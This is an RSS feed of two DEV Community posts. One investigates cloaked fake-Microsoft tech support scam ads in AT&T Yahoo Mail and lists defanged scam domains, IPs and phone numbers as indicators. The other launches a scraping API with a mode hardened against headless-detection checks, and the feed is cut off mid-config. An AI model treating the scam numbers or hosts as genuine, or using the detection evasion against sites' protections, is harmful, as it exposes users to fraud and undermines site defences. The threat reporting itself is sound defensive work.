<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Daniel J</title>
    <description>The latest articles on DEV Community by Daniel J (@tuxxin).</description>
    <link>https://dev.to/tuxxin</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4055668%2F2923f58e-fe2b-49e8-a07e-3aeb8c4bf8b2.gif</url>
      <title>DEV Community: Daniel J</title>
      <link>https://dev.to/tuxxin</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/tuxxin"/>
    <language>en</language>
    <item>
      <title>Yahoo Mail malvertising: two cloaked tech support scam chains</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Mon, 12 Oct 2026 13:23:04 +0000</pubDate>
      <link>https://dev.to/tuxxin/yahoo-mail-malvertising-two-cloaked-tech-support-scam-chains-i1p</link>
      <guid>https://dev.to/tuxxin/yahoo-mail-malvertising-two-cloaked-tech-support-scam-chains-i1p</guid>
      <description>&lt;p&gt;Two scam operations ran ads in the same sponsored slot of AT&amp;amp;T's Yahoo Mail on October 7 and 8, 2026. In whack.sh scans of the original ad click links, only Windows desktops on home broadband received the fake Microsoft security alert and its toll-free number. Our visits from a data center and from a phone received a dating or personal finance article.&lt;/p&gt;

&lt;p&gt;The first ad framed the alert over a dating article on checkouters[.]app. The second ad passed through a Branch deep link and a filtering server (TDS) at maizerubyen[.]site. That server sent our home broadband visit to a scam page on Azure static website hosting. The first operation's scam kit appears in 747 public scans of 536 cloud hostnames. The scans run from July 12 to October 10, 2026, the 90 days our archive search reaches.&lt;/p&gt;

&lt;p&gt;By &lt;a href="https://tuxxin.com/founder" rel="noopener noreferrer"&gt;Daniel Jones&lt;/a&gt;, Founder, Tuxxin LLC. Drafted with AI assistance.&lt;/p&gt;

&lt;p&gt;William Vincent, a whack.sh customer, noticed something off about the ads and sent us the original click links. A second review by Kirk of &lt;a href="https://ohey.ca/" rel="noopener noreferrer"&gt;ohey.ca&lt;/a&gt; added 31 hostnames and three Azure environments to the kit's footprint.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://tuxxin.com/blog/yahoo-mail-ads-fake-microsoft-support-scam" rel="noopener noreferrer"&gt;story on tuxxin.com&lt;/a&gt; lists the reports we filed with each provider and explains what to do after seeing the alert.&lt;/p&gt;

&lt;h2&gt;
  
  
  The ad and its click tracker
&lt;/h2&gt;

&lt;p&gt;The ad sat in the inbox list like an email. Its sender line read "CHECKOUTERS" and its subject read "(1) New Message". A small "Ad" label marked it as sponsored.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fikewwigsgammh1pk4uze.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fikewwigsgammh1pk4uze.webp" alt="The AT&amp;amp;T edition of Yahoo Mail with a sponsored inbox row from Checkouters that reads New and (1) New Message, outlined in orange." width="798" height="175"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The ad row in AT&amp;amp;T Yahoo Mail, October 2026. Screenshot by William Vincent, cropped to the ad, with personal details removed.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A click passed through Taboola's click tracker under the publisher ID &lt;code&gt;yahoo-mail-att&lt;/code&gt;. That is the AT&amp;amp;T edition of Yahoo Mail, which serves att.net, sbcglobal.net, bellsouth.net and other AT&amp;amp;T addresses. Taboola sells the native ads across Yahoo's sites under a &lt;a href="https://www.taboola.com/press-releases/taboola-yahoo-native-deal/" rel="noopener noreferrer"&gt;30-year agreement&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The first ad's tracking link listed a cost of 0.25 per click, with no currency.&lt;/p&gt;

&lt;h2&gt;
  
  
  What each network received
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://whack.sh/multi-source-url-scanner" rel="noopener noreferrer"&gt;whack.sh&lt;/a&gt; opens one link from several networks at once and compares what each receives. We classified every exit address with &lt;a href="https://worldip.io/" rel="noopener noreferrer"&gt;WorldIP&lt;/a&gt;, which reports an address's owner, country and network type.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Ad&lt;/th&gt;
&lt;th&gt;Network (WorldIP)&lt;/th&gt;
&lt;th&gt;Device&lt;/th&gt;
&lt;th&gt;Page served&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;First ad&lt;/td&gt;
&lt;td&gt;Home broadband, Comcast, US&lt;/td&gt;
&lt;td&gt;Windows desktop&lt;/td&gt;
&lt;td&gt;Full-screen scam frame on one visit, plain article on the next&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;First ad&lt;/td&gt;
&lt;td&gt;Home broadband, Charter, US&lt;/td&gt;
&lt;td&gt;Windows desktop&lt;/td&gt;
&lt;td&gt;Full-screen scam frame&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;First ad&lt;/td&gt;
&lt;td&gt;Home broadband, Cox, US&lt;/td&gt;
&lt;td&gt;Windows desktop&lt;/td&gt;
&lt;td&gt;Full-screen scam frame&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;First ad&lt;/td&gt;
&lt;td&gt;Mobile carrier, T-Mobile, US&lt;/td&gt;
&lt;td&gt;Android phone&lt;/td&gt;
&lt;td&gt;Dating article&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Second ad&lt;/td&gt;
&lt;td&gt;Data center, OVH, France&lt;/td&gt;
&lt;td&gt;Windows desktop&lt;/td&gt;
&lt;td&gt;Personal loan article&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Second ad&lt;/td&gt;
&lt;td&gt;Home broadband, Cox, US&lt;/td&gt;
&lt;td&gt;Windows desktop&lt;/td&gt;
&lt;td&gt;Scam alert page&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdxwcowk8gfzpsca1di5q.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdxwcowk8gfzpsca1di5q.webp" alt="Two captures of the second ad's link side by side: a personal loan article from a data center, and a fake Windows Defender alert over a Microsoft support page from home broadband." width="800" height="269"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;whack.sh scan comparison of the second ad, October 8, 2026. The phone numbers are stamped FAKE.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The scam appeared only on visits that arrived through a fresh ad click. We opened the first ad's landing page directly eight times, with and without its tracking codes. Every visit returned the dating article.&lt;/p&gt;

&lt;p&gt;The first ad's frame was intermittent. Our Comcast visits received the frame once and the plain article on the next try. No data center visit ran on the first ad's link.&lt;/p&gt;

&lt;h2&gt;
  
  
  First chain: an Azure frame over a dating article
&lt;/h2&gt;

&lt;p&gt;The first ad led to checkouters[.]app, a dating article site registered on September 23, 2026. On Windows desktops on home broadband, the page covered itself with a full-screen frame served from Microsoft Azure Container Apps.&lt;/p&gt;

&lt;p&gt;The frame displayed the fake alert and a toll-free number. The address bar kept showing the dating site.&lt;/p&gt;

&lt;p&gt;The frame came from zingaaf23-4.salmonmushroom-f0512d66.westus2.azurecontainerapps[.]io and showed +1 888-883-5786.&lt;/p&gt;

&lt;h2&gt;
  
  
  Second chain: a Branch link and a filtering server (TDS)
&lt;/h2&gt;

&lt;p&gt;The second ad passed through a Branch deep link, 325235dgsg.app[.]link, and then through maizerubyen[.]site. That server sent our data center visit to a personal finance article on another site.&lt;/p&gt;

&lt;p&gt;Our visit from a home broadband address went to a page on Azure static website hosting, w08win10m844n2491c001.z13.web.core.windows[.]net. It showed the alert and the number +1 844-959-2491.&lt;/p&gt;

&lt;p&gt;The scam page checked each visitor's location with two IP lookup services and loaded a Tawk.to live chat window. The chat account was created in June 2024.&lt;/p&gt;

&lt;p&gt;The same chat account and lookup key appeared on another Azure page on September 24. A Taboola ad and a second Branch deep link, walletsaver.app[.]link, led to that page.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dating the infrastructure with issued.live
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://issued.live/developers" rel="noopener noreferrer"&gt;issued.live&lt;/a&gt; tracks Certificate Transparency (CT) logs, domain registrations and DNS address history for more than 477 million domains. We used it to date the domains in both chains.&lt;/p&gt;

&lt;p&gt;The filtering domain maizerubyen[.]site was registered on September 17, 2026. It went three weeks without a TLS certificate.&lt;/p&gt;

&lt;p&gt;Its first certificate, valid from 12:44 UTC on October 8, reached the CT logs at 13:43 UTC. The ad click we analyzed came about two hours later, at 15:51 UTC. issued.live's reverse IP lookup found no other domain on the filtering server (TDS) at 64.177.41[.]125.&lt;/p&gt;

&lt;p&gt;The second chain's scam page also loaded a tracking script from userstatics[.]com. That domain was registered in 2020. issued.live first recorded it on its current server, 94.154.32[.]91, on August 13, 2026.&lt;/p&gt;

&lt;p&gt;Public certificate logs show certificates for the domain without a break since November 2020. issued.live's certificate history for its current server shows new certificates in July, August and September 2026. Neighboring addresses host sites whose names imitate Polish marketplace offers and Dutch delivery notices.&lt;/p&gt;

&lt;p&gt;The domain dates to 2020, and different scam kits load it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The scam kit runs on hundreds of cloud hostnames
&lt;/h2&gt;

&lt;p&gt;The first operation's scam page comes from a kit, a set of files reused on every host. We found it in 747 public urlscan scans between July 12 and October 10, 2026, the furthest back our search reaches. About 600 of those scans captured the kit itself.&lt;/p&gt;

&lt;p&gt;Kirk's review added 31 of those hostnames and three more Azure environments. The scans by month:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Period&lt;/th&gt;
&lt;th&gt;Public scans&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;July 12 to 31&lt;/td&gt;
&lt;td&gt;186&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;August&lt;/td&gt;
&lt;td&gt;206&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;September&lt;/td&gt;
&lt;td&gt;275&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;October 1 to 10&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The pages sat on 536 different hostnames, most of them on Azure Container Apps across 13 Azure regions. By platform, 382 ran on Azure Container Apps, 106 on Azure Front Door, 34 on Laravel Forge, 9 on Cloudflare Workers, 4 on Cloudflare Pages and 1 on Vercel.&lt;/p&gt;

&lt;p&gt;The pages listed 160 phone numbers, 126 of them US toll-free numbers. A Japanese-language version writes North American numbers in the format for dialing from Japan. A few numbers are in Hong Kong, Switzerland and Japan.&lt;/p&gt;

&lt;p&gt;The kit's front page sends each visitor to a version for their operating system: Windows, macOS, Android or iOS. The Windows version, in English and Japanese, adds a fake locked screen with a Microsoft account sign-in box. Its fields are read-only, and the box points the visitor to the phone number.&lt;/p&gt;

&lt;p&gt;These counts cover only pages that someone submitted to a public scanner. A few archived links carry tags that label the traffic as paid Facebook ads, and at least one carries a push-traffic click ID. These tags point to traffic sources beyond Taboola.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detection trails the ads
&lt;/h2&gt;

&lt;p&gt;On October 10, none of the 92 vendors on VirusTotal flagged checkouters[.]app. Two vendors rated the filtering domain suspicious, and none rated it malicious. Neither result had changed on October 11.&lt;/p&gt;

&lt;p&gt;On the evening of October 11, Microsoft Edge showed a phishing warning for checkouters[.]app. When the warning first appeared, and what triggered it, is unknown.&lt;/p&gt;

&lt;h3&gt;
  
  
  Status on October 11
&lt;/h3&gt;

&lt;p&gt;We re-checked the 536 hostnames at about 00:40 UTC on October 11 through &lt;a href="https://webfetch.io/" rel="noopener noreferrer"&gt;webfetch.io&lt;/a&gt;. Nine still served the kit, and public scans had recorded eight of them in October.&lt;/p&gt;

&lt;p&gt;Of the rest, 167 no longer resolved, 108 returned not-found errors and 228 did not answer within 60 seconds. Another 15 showed block or takedown pages from Cloudflare, Laravel Forge and Vercel. The remaining nine returned unrelated pages or errors.&lt;/p&gt;

&lt;p&gt;In the same check, the first ad's landing page still loaded, and both Branch deep links still redirected. The second operation's filtering server (TDS) no longer answered. Its deep link sent our visits from data center and ISP addresses to the finance article, and its scam pages from October 8 and September 24 no longer resolved.&lt;/p&gt;

&lt;p&gt;These checks ran before we filed the abuse reports listed in the tuxxin.com story.&lt;/p&gt;

&lt;h2&gt;
  
  
  Indicators
&lt;/h2&gt;

&lt;p&gt;Domains and addresses are defanged. First seen is the earliest date in our scans, public scan archives or issued.live.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;First seen&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;Ad landing page&lt;/td&gt;
&lt;td&gt;&lt;code&gt;checkouters[.]app&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2026-10-07&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Filtering server (TDS)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;maizerubyen[.]site&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2026-10-08&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Filtering server (TDS) address&lt;/td&gt;
&lt;td&gt;&lt;code&gt;64.177.41[.]125&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2026-10-08&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Deep link&lt;/td&gt;
&lt;td&gt;&lt;code&gt;325235dgsg.app[.]link&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2026-10-06&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Deep link&lt;/td&gt;
&lt;td&gt;&lt;code&gt;walletsaver.app[.]link&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Scam page&lt;/td&gt;
&lt;td&gt;&lt;code&gt;zingaaf23-4.salmonmushroom-f0512d66.westus2.azurecontainerapps[.]io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2026-10-08&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Scam page&lt;/td&gt;
&lt;td&gt;&lt;code&gt;w08win10m844n2491c001.z13.web.core.windows[.]net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2026-10-08&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Tracker&lt;/td&gt;
&lt;td&gt;&lt;code&gt;userstatics[.]com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2020-11-05 (registered)&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Tracker server&lt;/td&gt;
&lt;td&gt;&lt;code&gt;94.154.32[.]91&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2026-08-13&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Phone&lt;/td&gt;
&lt;td&gt;+1 844-959-2491&lt;/td&gt;
&lt;td&gt;2026-10-08&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Phone&lt;/td&gt;
&lt;td&gt;+1 888-883-5786&lt;/td&gt;
&lt;td&gt;2026-10-08&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Phone (seen by William Vincent)&lt;/td&gt;
&lt;td&gt;+1 866-949-7055&lt;/td&gt;
&lt;td&gt;2026-10-08&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The full list of 536 scam kit hostnames, defanged, with the first and last date each was seen, is in &lt;a href="https://tuxxin.com/dl/yahoo-mail-scam-kit-hosts-2026-10-10.csv" rel="noopener noreferrer"&gt;yahoo-mail-scam-kit-hosts-2026-10-10.csv&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;36988b0009b0a91a55de19380ea36eeac36f22c01d3d20d8708e35700dfefcb9  yahoo-mail-scam-kit-hosts-2026-10-10.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Tools used in this investigation
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;What it showed&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;Compare what each network receives&lt;/td&gt;
&lt;td&gt;whack.sh multi-source scan&lt;/td&gt;
&lt;td&gt;The scam for Windows desktops on home broadband, an article for our data center and phone visits&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Rebuild the redirect chain&lt;/td&gt;
&lt;td&gt;whack.sh request log&lt;/td&gt;
&lt;td&gt;Ad click, deep link, filtering server (TDS) and scam page, hop by hop&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Classify each address&lt;/td&gt;
&lt;td&gt;WorldIP&lt;/td&gt;
&lt;td&gt;Network type, owner and country for each of our exits&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Date domains and certificates&lt;/td&gt;
&lt;td&gt;issued.live&lt;/td&gt;
&lt;td&gt;Registration dates, first certificate times and address history&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Map neighbors&lt;/td&gt;
&lt;td&gt;issued.live&lt;/td&gt;
&lt;td&gt;Domains sharing an address and certificate history per address&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Count public sightings&lt;/td&gt;
&lt;td&gt;urlscan&lt;/td&gt;
&lt;td&gt;747 scans, 536 hostnames and 160 phone numbers&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Find more hosts running the kit&lt;/td&gt;
&lt;td&gt;Netlas and urlscan (partner review)&lt;/td&gt;
&lt;td&gt;31 more hostnames and three more Azure environments&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Check vendor detection&lt;/td&gt;
&lt;td&gt;VirusTotal&lt;/td&gt;
&lt;td&gt;0 of 92 vendors flagged the landing domain&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Read older certificate history&lt;/td&gt;
&lt;td&gt;crt.sh&lt;/td&gt;
&lt;td&gt;Certificates for the tracker since November 2020&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Re-check which hosts are still live&lt;/td&gt;
&lt;td&gt;webfetch.io&lt;/td&gt;
&lt;td&gt;9 of 536 hostnames still served the kit on October 11&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Tuxxin LLC, which publishes this article, runs whack.sh, issued.live, WorldIP and webfetch.io.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;For coordinated disclosure: &lt;a href="mailto:contact@tuxxin.com"&gt;contact@tuxxin.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>malvertising</category>
      <category>techsupportscam</category>
      <category>cloaking</category>
      <category>trafficdistributionsystem</category>
    </item>
    <item>
      <title>Webfetch is live: ScrapingBee-compatible scraping at 38-40% less</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Fri, 09 Oct 2026 13:50:02 +0000</pubDate>
      <link>https://dev.to/tuxxin/webfetch-is-live-scrapingbee-compatible-scraping-at-38-40-less-p0n</link>
      <guid>https://dev.to/tuxxin/webfetch-is-live-scrapingbee-compatible-scraping-at-38-40-less-p0n</guid>
      <description>&lt;p&gt;&lt;a href="https://webfetch.io" rel="noopener noreferrer"&gt;Webfetch&lt;/a&gt; is a web scraping API: send a URL and get back rendered HTML, plain text, markdown, JSON extracted with CSS or XPath selectors, or a link to a screenshot. Request parameters, defaults, credit costs and status codes match ScrapingBee's HTML API, so an existing integration moves over by changing the base URL and the API key unless it uses AI extraction or screenshots.&lt;/p&gt;

&lt;p&gt;A free account starts with 1,000 credits and gets 250 more on the 1st of every month, banking up to 1,000. Signup takes an email address and a six-digit code, with no card. Enter &lt;code&gt;LAUNCH500&lt;/code&gt; as the promo code when you create a free account to get 500 one-time bonus credits. The code works for the first 500 accounts that use it, until December 7, 2026. The credits are spent after the free balance runs out, and they never expire.&lt;/p&gt;

&lt;h2&gt;
  
  
  Make a request
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://api.webfetch.io/v1/?url=https%3A%2F%2Fexample.com&amp;amp;render_js=false"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer wfk_your_key"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;api_key&lt;/code&gt; query parameter also works, for code written against ScrapingBee. The cost, auto-mode cost, initial status code and resolved URL headers carry the same values under a new prefix, so &lt;code&gt;Spb-cost&lt;/code&gt; becomes &lt;code&gt;Wf-Cost&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Official SDKs for JavaScript (Node 18+), Python (3.9+) and PHP (8.1+) are published, with the source at &lt;a href="https://github.com/tuxxin/webfetch-sdk" rel="noopener noreferrer"&gt;github.com/tuxxin/webfetch-sdk&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; @tuxxin/webfetch
pip &lt;span class="nb"&gt;install &lt;/span&gt;webfetch-io
composer require tuxxin/webfetch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The home page runs a real scrape against any URL you enter, with no key, so you can check the output before signing up.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a request costs
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Request&lt;/th&gt;
&lt;th&gt;Credits&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;No JavaScript rendering (&lt;code&gt;render_js=false&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JavaScript rendering, the default&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Premium proxy without rendering&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Premium proxy with rendering&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stealth proxy&lt;/td&gt;
&lt;td&gt;75&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Failed request&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A request is billed when the target answers with a 2xx, 404, 410 or 413 status, and every other outcome costs nothing. An anti-bot challenge, CAPTCHA or block page comes back as an error with the code &lt;code&gt;challenge_page&lt;/code&gt; and costs nothing, including challenge pages served with HTTP 200. Every response carries a &lt;code&gt;Wf-Cost&lt;/code&gt; header with the credits charged.&lt;/p&gt;

&lt;p&gt;Premium proxy requests leave through static ISP addresses, where ScrapingBee's &lt;code&gt;premium_proxy&lt;/code&gt; uses residential ones. Stealth requests always render, in a browser hardened against common headless-detection checks, and bill 75 credits on a mobile exit. At launch, no mobile or residential exit is available, so stealth requests leave through the ISP pool, bill 25 credits and return &lt;code&gt;Wf-Proxy-Downgraded: true&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;mode=auto&lt;/code&gt;, Webfetch tries five configurations from cheapest to most expensive and stops at the first that works. The failed attempts are free, so a call costs only the configuration that succeeded, and &lt;code&gt;max_cost&lt;/code&gt; sets a ceiling for it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Plans
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plan&lt;/th&gt;
&lt;th&gt;Price a month&lt;/th&gt;
&lt;th&gt;Credits a month&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;$0&lt;/td&gt;
&lt;td&gt;1,000 to start, then 250&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Starter&lt;/td&gt;
&lt;td&gt;$11.99&lt;/td&gt;
&lt;td&gt;75,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pro&lt;/td&gt;
&lt;td&gt;$29.99&lt;/td&gt;
&lt;td&gt;250,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scale&lt;/td&gt;
&lt;td&gt;$59.99&lt;/td&gt;
&lt;td&gt;1,000,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Business&lt;/td&gt;
&lt;td&gt;$149.99&lt;/td&gt;
&lt;td&gt;3,000,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Business+&lt;/td&gt;
&lt;td&gt;$359.99&lt;/td&gt;
&lt;td&gt;8,000,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Custom&lt;/td&gt;
&lt;td&gt;From $499&lt;/td&gt;
&lt;td&gt;No datacenter credit cap, on dedicated hardware, quoted per requirement&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Pro, Scale, Business and Business+ carry the credit allowances of ScrapingBee's Freelance, Startup, Business and Business+ plans at 38 to 40% below their prices. The comparison uses ScrapingBee's published prices on October 8, 2026. Paid plans bill monthly through PayPal and cancel at any time. The price you sign up at stays locked for as long as the payment method stays active and the subscription does not lapse. Upgrading from the key portal keeps the same key.&lt;/p&gt;

&lt;h2&gt;
  
  
  MCP server
&lt;/h2&gt;

&lt;p&gt;Webfetch serves two tools over the Model Context Protocol at &lt;code&gt;https://webfetch.io/mcp&lt;/code&gt;: &lt;code&gt;fetch_page&lt;/code&gt; returns a page as markdown, text or HTML, and &lt;code&gt;extract_data&lt;/code&gt; turns selectors into structured JSON. Send the API key as &lt;code&gt;Authorization: Bearer&lt;/code&gt;, as on the HTTP API. Each result reports the credits it cost.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"webfetch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
